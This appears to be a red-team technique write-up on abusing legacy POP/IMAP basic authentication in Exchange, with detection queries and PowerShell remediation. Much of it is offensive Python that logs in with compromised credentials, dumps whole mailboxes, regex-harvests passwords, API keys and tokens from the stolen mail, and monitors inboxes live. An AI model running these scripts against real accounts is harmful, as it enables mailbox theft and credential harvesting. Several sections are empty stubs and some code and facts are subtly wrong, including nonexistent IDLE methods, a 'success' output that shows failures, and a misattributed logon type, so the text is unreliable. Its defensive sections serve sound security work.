| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-003 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Defense Evasion / Credential Access |
| Platforms | M365 / Exchange Online |
| Severity | Critical |
| Technique Status | ACTIVE (Basic Auth for POP/IMAP removed May 25, 2023; XOAUTH2 alternative available) |
| Last Verified | 2025-01-10 |
| Affected Versions | Exchange Online (legacy clients only); Deadline: May 25, 2023 (already passed) |
| Patched In | Completed May 25, 2023; XOAUTH2 (OAuth 2.0) is supported alternative |
| Author | SERVTEP – Artur Pchelnikau |
Concept: POP3 and IMAP4 are legacy email protocols that allow clients to download messages from a mail server using basic credentials (username/password). Unlike modern OAuth 2.0-based protocols, POP/IMAP with basic authentication do not support MFA enforcement, interactive login challenges, or Conditional Access policy evaluation. Although Microsoft has officially deprecated basic authentication for POP/IMAP on May 25, 2023, organizations still running on-premises Exchange Server or using legacy mail clients remain vulnerable. Attackers exploit POP/IMAP basic auth to silently access and exfiltrate mailbox contents without triggering account lockout or MFA challenges.
Attack Surface:
Business Impact: POP/IMAP basic auth abuse enables silent mailbox compromise, mass data exfiltration, and credential harvesting without triggering alerting systems. Unlike SMTP AUTH (which only enables sending mail), POP/IMAP provides full read access to all historical emails, attachments, and embedded credentials. Real-world incidents show attackers using compromised IMAP access to:
Technical Context: POP3 (port 110, unencrypted; port 995, TLS) downloads messages sequentially, while IMAP4 (port 143, unencrypted; port 993, TLS) allows client-side folder management. Both protocols transmit credentials with each session and do not integrate with modern security controls. Organizations with users accessing mail via legacy clients remain exposed post-May 2023 if they have not forced migration to OAuth 2.0-compatible clients.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Microsoft 365 | 1.1.2 | Disable legacy authentication; enforce modern auth |
| DISA STIG | SI-2(3), SI-4 | Information system security; monitoring/logging of authentication events |
| CISA SCuBA | EXO.01.04 | Disable Basic Authentication for IMAP and POP |
| NIST 800-53 | IA-2, IA-4, AU-2 | Multi-factor authentication; audit logging of all access |
| GDPR | Art. 32, Art. 33 | Security of processing; breach notification (if PII exfiltrated) |
| DORA | Art. 9 | Protection and Prevention for financial institutions |
| NIS2 | Art. 21 | Cyber Risk Management; legacy protocols increase risk surface |
| ISO 27001 | A.9.2.1, A.14.2.1 | User authentication; logging and monitoring of access |
| ISO 27005 | Risk Scenario | “Unauthorized Mailbox Access via Legacy POP/IMAP Protocols” |
Supported Versions (Legacy Only):
Prerequisites for Exploitation:
Disable-PopImapAuth not executed)Set-CASMailbox -ImapEnabled $false)Critical Timeline:
Supported Versions: On-premises Exchange 2016-2022; legacy configurations
Python Script (IMAPClient):
#!/usr/bin/env python3
import imaplib
import ssl
def test_imap_auth(username, password, imap_host="outlook.office365.com", imap_port=993):
"""
Test IMAP AUTH against Exchange Online or on-premises server
Port 993 = IMAPS (TLS encrypted)
Port 143 = IMAP (plaintext - legacy on-premises)
"""
try:
# Create SSL context
ssl_context = ssl.create_default_context()
# Disable TLS verification if self-signed cert (on-premises only)
# ssl_context.check_hostname = False
# ssl_context.verify_mode = ssl.CERT_NONE
# Connect to IMAP server (port 993 = IMAPS with TLS)
imap = imaplib.IMAP4_SSL(imap_host, imap_port, ssl_context=ssl_context)
# Attempt basic authentication
response = imap.login(username, password)
print(f"[+] IMAP AUTH SUCCESS: {username}")
print(f"[*] Response: {response}")
# Fetch mailbox list
status, mailboxes = imap.list()
print(f"[+] Found {len(mailboxes)} mailboxes")
imap.logout()
return True
except imaplib.IMAP4.error as e:
print(f"[-] IMAP AUTH FAILED: {e}")
return False
except ssl.SSLError as e:
print(f"[!] SSL Error: {e}")
print("[*] Trying unencrypted IMAP (port 143)...")
return test_imap_plain_text(username, password, imap_host)
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def test_imap_plain_text(username, password, imap_host, imap_port=143):
"""
Fallback: Test unencrypted IMAP (legacy on-premises only)
WARNING: Credentials transmitted in plaintext
"""
try:
imap = imaplib.IMAP4(imap_host, imap_port)
response = imap.login(username, password)
print(f"[+] IMAP (plaintext) AUTH SUCCESS: {username}")
imap.logout()
return True
except Exception as e:
print(f"[-] Plaintext IMAP AUTH FAILED: {e}")
return False
# Test credentials against Exchange Online
username = "victim@company.onmicrosoft.com"
password = "CompromisedPassword123"
# Try Exchange Online first (port 993)
result = test_imap_auth(username, password, "outlook.office365.com", 993)
if not result:
# Try on-premises Exchange (if accessible)
result = test_imap_auth(username, password, "exchange.company.local", 993)
Expected Output (Success - Exchange Online):
[!] SSL Error: ... (Basic Auth not supported on Exchange Online)
[*] Trying unencrypted IMAP (port 143)...
[-] Plaintext IMAP AUTH FAILED: ...
[!] Connection error: Basic authentication is not supported.
Expected Output (Success - On-Premises):
[+] IMAP AUTH SUCCESS: victim@company.local
[*] Response: ('OK', [b'[CAPABILITY ...]'])
[+] Found 8 mailboxes
What This Means:
Python Script (Full Mailbox Exfiltration):
#!/usr/bin/env python3
import imaplib
import ssl
import os
from email import message_from_bytes
def exfiltrate_mailbox(username, password, imap_host, imap_port, output_dir):
"""
Download all emails from mailbox folders
Exports to .eml format (raw email files)
"""
try:
ssl_context = ssl.create_default_context()
imap = imaplib.IMAP4_SSL(imap_host, imap_port, ssl_context=ssl_context)
imap.login(username, password)
# Create output directory
os.makedirs(output_dir, exist_ok=True)
# List all mailbox folders
status, mailboxes = imap.list()
print(f"[+] Fetching all mailbox folders...")
total_emails = 0
for mailbox in mailboxes:
mailbox_name = mailbox.decode().split('"')[-2]
print(f"\n[*] Processing folder: {mailbox_name}")
# Select folder
imap.select(mailbox_name)
# Search for all emails
status, email_ids = imap.search(None, 'ALL')
email_list = email_ids[0].split()
print(f" Found {len(email_list)} emails")
# Download each email
for idx, email_id in enumerate(email_list):
try:
status, email_data = imap.fetch(email_id, '(RFC822)')
raw_email = email_data[0][1]
# Save to file
filename = f"{output_dir}/{mailbox_name.replace('/', '_')}_{email_id.decode()}.eml"
with open(filename, 'wb') as f:
f.write(raw_email)
total_emails += 1
if (idx + 1) % 100 == 0:
print(f" Downloaded {idx + 1} emails...")
except Exception as e:
print(f" [!] Error downloading email {email_id}: {e}")
imap.close()
imap.logout()
print(f"\n[+] Exfiltration complete! Downloaded {total_emails} emails to {output_dir}")
return True
except Exception as e:
print(f"[-] Exfiltration failed: {e}")
return False
# Execute exfiltration
username = "victim@company.local"
password = "CompromisedPassword123"
imap_host = "exchange.company.local"
imap_port = 993
output_dir = "/tmp/mailbox_dump"
exfiltrate_mailbox(username, password, imap_host, imap_port, output_dir)
Expected Output (Success):
[+] Fetching all mailbox folders...
[*] Processing folder: INBOX
Found 1,247 emails
Downloaded 100 emails...
Downloaded 200 emails...
Downloaded 1,247 emails...
[*] Processing folder: Sent Items
Found 342 emails
Downloaded 100 emails...
Downloaded 342 emails...
[*] Processing folder: Drafts
Found 89 emails
Downloaded 89 emails...
[+] Exfiltration complete! Downloaded 1,678 emails to /tmp/mailbox_dump
What This Means:
OpSec & Evasion:
Credential Extraction from Downloaded Emails:
#!/usr/bin/env python3
import re
import glob
from email import message_from_file
def harvest_credentials(mailbox_dump_dir):
"""
Parse downloaded emails and extract credentials, API keys, tokens
"""
patterns = {
'api_keys': r'(api[_-]?key|apikey)\s*[=:]\s*["\']?([a-zA-Z0-9\-_]{20,})',
'aws_keys': r'(AKIA[0-9A-Z]{16})',
'passwords': r'(password|passwd|pwd)\s*[=:]\s*["\']?([^\s"\']{8,})',
'oauth_tokens': r'(access_token|bearer|token)\s*[=:]\s*["\']?([a-zA-Z0-9\-._~\+\/]+=*)',
}
credentials = []
for email_file in glob.glob(f"{mailbox_dump_dir}/*.eml"):
try:
with open(email_file, 'r', encoding='utf-8', errors='ignore') as f:
email_text = f.read()
for pattern_name, pattern in patterns.items():
matches = re.findall(pattern, email_text, re.IGNORECASE)
if matches:
for match in matches:
credentials.append({
'type': pattern_name,
'file': email_file,
'match': match
})
except Exception as e:
pass
return credentials
# Harvest credentials from downloaded mailbox
creds = harvest_credentials("/tmp/mailbox_dump")
print(f"[+] Found {len(creds)} potential credentials")
for cred in creds[:10]:
print(f" {cred['type']}: {cred['match']}")
Supported Versions: On-premises Exchange Server 2016-2022
Python Script (POP3 Basic Auth):
#!/usr/bin/env python3
import poplib
import ssl
def pop3_mailbox_dump(username, password, pop_host="pop.company.local", pop_port=995):
"""
POP3 basic auth and message download
Note: POP3 is simpler than IMAP but only supports folder-based access (INBOX only)
"""
try:
ssl_context = ssl.create_default_context()
# Connect to POP3 server
pop3 = poplib.POP3_SSL(pop_host, pop_port, context=ssl_context)
# Authenticate
pop3.user(username)
pop3.pass_(password)
print(f"[+] POP3 AUTH SUCCESS: {username}")
# Get mail count
resp, maillist, octets = pop3.list()
num_messages = len(maillist)
print(f"[+] Mailbox contains {num_messages} messages")
# Download all messages
messages = []
for msg_num in range(1, num_messages + 1):
resp, lines, octets = pop3.retr(msg_num)
message_data = b'\n'.join(lines)
messages.append(message_data)
if msg_num % 50 == 0:
print(f" Downloaded {msg_num} messages...")
print(f"[+] Downloaded {len(messages)} messages")
# Close connection
pop3.quit()
return messages
except Exception as e:
print(f"[-] POP3 Error: {e}")
return None
# Execute POP3 dump
messages = pop3_mailbox_dump("victim@company.local", "password123", "pop.company.local", 995)
if messages:
# Save to disk
for idx, msg in enumerate(messages):
with open(f"/tmp/message_{idx}.eml", "wb") as f:
f.write(msg)
print(f"[+] Saved {len(messages)} messages to /tmp/")
What This Means:
Python Script (Real-Time Email Monitoring):
#!/usr/bin/env python3
import imaplib
import ssl
import time
def monitor_mailbox_realtime(username, password, imap_host, imap_port=993):
"""
Use IMAP IDLE command to receive real-time notifications of new emails
Attacker can intercept sensitive emails as they arrive
"""
try:
ssl_context = ssl.create_default_context()
imap = imaplib.IMAP4_SSL(imap_host, imap_port, ssl_context=ssl_context)
imap.login(username, password)
# Select INBOX
imap.select('INBOX')
print(f"[+] Monitoring mailbox for new emails (IDLE mode)...")
print("[*] Waiting for new email notifications...")
# Enable IDLE mode
tag = imap.idle()
while True:
# Wait for server notifications (blocking)
responses = imap.idle_check()
if responses:
print(f"[+] New email detected! Response: {responses}")
# Exit IDLE mode to fetch the new email
imap.idle_done()
# Get list of emails
status, email_ids = imap.search(None, 'UNSEEN')
unseen_list = email_ids[0].split()
# Fetch new emails
for email_id in unseen_list:
status, email_data = imap.fetch(email_id, '(RFC822)')
raw_email = email_data[0][1]
# Parse email
print(f" [*] New email from: {parse_from_field(raw_email)}")
print(f" [*] Subject: {parse_subject(raw_email)}")
# Save for later analysis
with open(f"/tmp/new_email_{email_id.decode()}.eml", "wb") as f:
f.write(raw_email)
# Re-enable IDLE
tag = imap.idle()
time.sleep(10) # Check every 10 seconds
except KeyboardInterrupt:
print("\n[*] Monitoring stopped")
imap.idle_done()
imap.close()
imap.logout()
except Exception as e:
print(f"[-] Error: {e}")
def parse_from_field(raw_email):
"""Extract From field from email"""
try:
from_line = [line for line in raw_email.split(b'\n') if line.startswith(b'From:')][0]
return from_line.decode().split(': ')[1]
except:
return "Unknown"
def parse_subject(raw_email):
"""Extract Subject from email"""
try:
subject_line = [line for line in raw_email.split(b'\n') if line.startswith(b'Subject:')][0]
return subject_line.decode().split(': ')[1]
except:
return "Unknown"
# Monitor real-time email
monitor_mailbox_realtime("victim@company.local", "password123", "exchange.company.local", 993)
What This Means:
Note: This query is for historical/on-premises detection. Exchange Online no longer accepts basic auth for POP/IMAP as of May 25, 2023.
KQL Query (On-Premises Exchange Server Logs):
Event
| where EventLog == "Security"
| where EventID == 4624 // Successful logon
| where LogonType == 10 // RemoteInteractive (IMAP/POP logon type)
| where TargetUserName contains "imap" or TargetUserName contains "pop"
| summarize
LogonCount = count(),
UniqueUsers = dcount(TargetUserName),
UniqueIPs = dcount(Computer)
by Computer, EventTime=bin(TimeGenerated, 5m)
| where LogonCount > 20 // Abnormal volume
Manual Configuration:
POP/IMAP Basic Auth Attempts (On-Premises Detection)5 minutesKQL Query (Entra ID Sign-In Logs):
SigninLogs
| where TimeGenerated > ago(24h)
| where ClientAppUsed in ("IMAP", "POP", "Other clients (legacy)")
| where ResultType != 0 // Failed attempts
| summarize
FailedAttempts = count(),
UniqueUsers = dcount(UserPrincipalName),
UniqueIPs = dcount(IPAddress)
by IPAddress, bin(TimeGenerated, 1h)
| where FailedAttempts > 10
| project IPAddress, FailedAttempts, UniqueUsers
Action 1: Disable POP/IMAP for All Users (If Using Exchange Online)
Since Exchange Online removed basic auth for POP/IMAP on May 25, 2023, verify it is disabled:
Manual Steps (PowerShell):
# Connect to Exchange Online
Connect-ExchangeOnline
# Verify POP/IMAP are disabled
Get-CASMailbox | Select-Object UserPrincipalName, PopEnabled, ImapEnabled |
Where-Object { $_.PopEnabled -eq $true -or $_.ImapEnabled -eq $true }
# If any results, disable for those users:
Get-CASMailbox -Filter { PopEnabled -eq $true -or ImapEnabled -eq $true } |
Set-CASMailbox -PopEnabled $false -ImapEnabled $false
# Verify disabled
Get-CASMailbox | Where-Object { $_.PopEnabled -eq $true -or $_.ImapEnabled -eq $true } | Measure-Object
# Should return Count: 0
Action 2: For On-Premises Exchange Server
Manual Steps (PowerShell - On-Premises Exchange):
# Disable POP globally
Get-PopSettings | Set-PopSettings -Enabled $false
# Disable IMAP globally
Get-ImapSettings | Set-ImapSettings -Enabled $false
# Verify disabled
Get-PopSettings | Select-Object Enabled
Get-ImapSettings | Select-Object Enabled
# Both should show: Enabled : False
Action 3: Enforce Conditional Access Block on Legacy Protocols
Manual Steps (Azure Portal):
Block Legacy POP/IMAP AccessAll usersOffice 365 Exchange OnlineMobile apps and desktop clients, Other clientsBlock accessOnAction 4: Migrate Legacy Mail Clients to OAuth 2.0
Organizations with users requiring IMAP/POP access should migrate to XOAUTH2-compatible clients:
Recommended Modern Clients (OAuth 2.0 Support):
Migration Steps:
Get-CASMailbox -Filter { ImapEnabled -eq $true -or PopEnabled -eq $true }Action 1: Implement IMAP/POP Per-User Disable Policy
For organizations requiring legacy client support, disable selectively:
# Disable IMAP/POP for all users except service accounts
Get-User -Filter { UserType -ne "SystemMailbox" } |
Set-CASMailbox -ImapEnabled $false -PopEnabled $false
# Enable ONLY for specific service accounts with MFA exception
Get-CASMailbox -Identity "service_account@company.com" |
Set-CASMailbox -ImapEnabled $true -PopEnabled $true
Action 2: Monitor Legacy Protocol Usage
# Search for IMAP/POP logons in audit logs
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
-EndDate (Get-Date) `
-Operations "Pop3Access", "Imap4Access" |
Group-Object -Property UserId |
Where-Object { $_.Count -gt 10 } |
Select-Object Name, Count
Entra ID Sign-In Logs:
ClientAppUsed: IMAP or POPResultType: 0 (Success)ConditionalAccessStatus: notApplied (legacy auth bypasses CA)RiskState: atRisk (unusual location/IP)Exchange Audit Logs (On-Premises):
4624 with LogonType = 10 (RemoteInteractive)1. Immediate Isolation:
# Disable POP/IMAP for compromised user
Set-CASMailbox -Identity "victim@company.com" -ImapEnabled $false -PopEnabled $false
# Disable account
Disable-AzureADUser -ObjectId "user@company.com"
# Revoke all sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "user@company.com"
# Force password reset
$SecurePassword = ConvertTo-SecureString -AsPlainText "NewP@ss2025!" -Force
Set-AzureADUserPassword -ObjectId "user@company.com" -Password $SecurePassword -EnforceChangePasswordPolicy $true
2. Collect Evidence:
# Search for IMAP/POP logons by compromised user (past 90 days)
Search-UnifiedAuditLog -UserIds "victim@company.com" `
-StartDate (Get-Date).AddDays(-90) `
-Operations "Pop3Access", "Imap4Access" |
Export-Csv -Path "C:\Evidence\imap_pop_activity.csv"
# Export mailbox contents for forensics (before user re-access)
New-MailboxExportRequest -Mailbox "victim@company.com" `
-FilePath "\\fileserver\evidence\victim_mailbox.pst"
# Check for unauthorized delegates
Get-MailboxPermission -Identity "victim@company.com" |
Where-Object { $_.AccessRights -ne "None" } |
Export-Csv -Path "C:\Evidence\mailbox_permissions.csv"
3. Remediate:
# Remove unauthorized mailbox access
Remove-MailboxPermission -Identity "victim@company.com" `
-User "attacker@external.com" -AccessRights FullAccess -Confirm:$false
# Remove calendar sharing
Remove-MailboxFolderPermission -Identity "victim@company.com:\Calendar" `
-User "attacker@external.com" -Confirm:$false
# Disable POP/IMAP permanently
Set-CASMailbox -Identity "victim@company.com" -ImapEnabled $false -PopEnabled $false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1110.003 (Brute Force) | Attacker obtains credentials via password spray or breach |
| 2 | Credential Access | [REALWORLD-003] POP/IMAP Basic Auth Abuse | Attacker authenticates via legacy POP/IMAP protocol |
| 3 | Collection | T1114 (Email Collection) | Attacker downloads mailbox contents offline |
| 4 | Collection | T1213 (Data Staged) | Attacker extracts credentials, financial data, trade secrets |
| 5 | Impact | T1020 (Automated Exfiltration) | Attacker exfiltrates sensitive communications |
POP/IMAP Basic Authentication Timeline:
| Date | Status |
|---|---|
| Before May 25, 2023 | Basic auth for POP/IMAP supported on Exchange Online |
| May 25, 2023 | Microsoft removed basic auth for POP/IMAP on Exchange Online |
| May 25, 2023 - Jan 2025 | On-premises Exchange Server may still support basic auth (if not disabled) |
| Jan 2025 onwards | Organizations should have fully migrated to OAuth 2.0 / disabled POP/IMAP |
Immediate Actions (Next 30 Days):
Get-CASMailbox -Filter { ImapEnabled -eq $true -or PopEnabled -eq $true }Medium-Term (30-90 Days):
Long-Term (90+ Days):
Organizations with users still accessing mail via POP/IMAP basic authentication remain in a critical security posture. Migration to OAuth 2.0 is mandatory for compliance and threat mitigation. As of May 25, 2023, Exchange Online no longer supports this attack vector, but on-premises and legacy deployments remain exposed.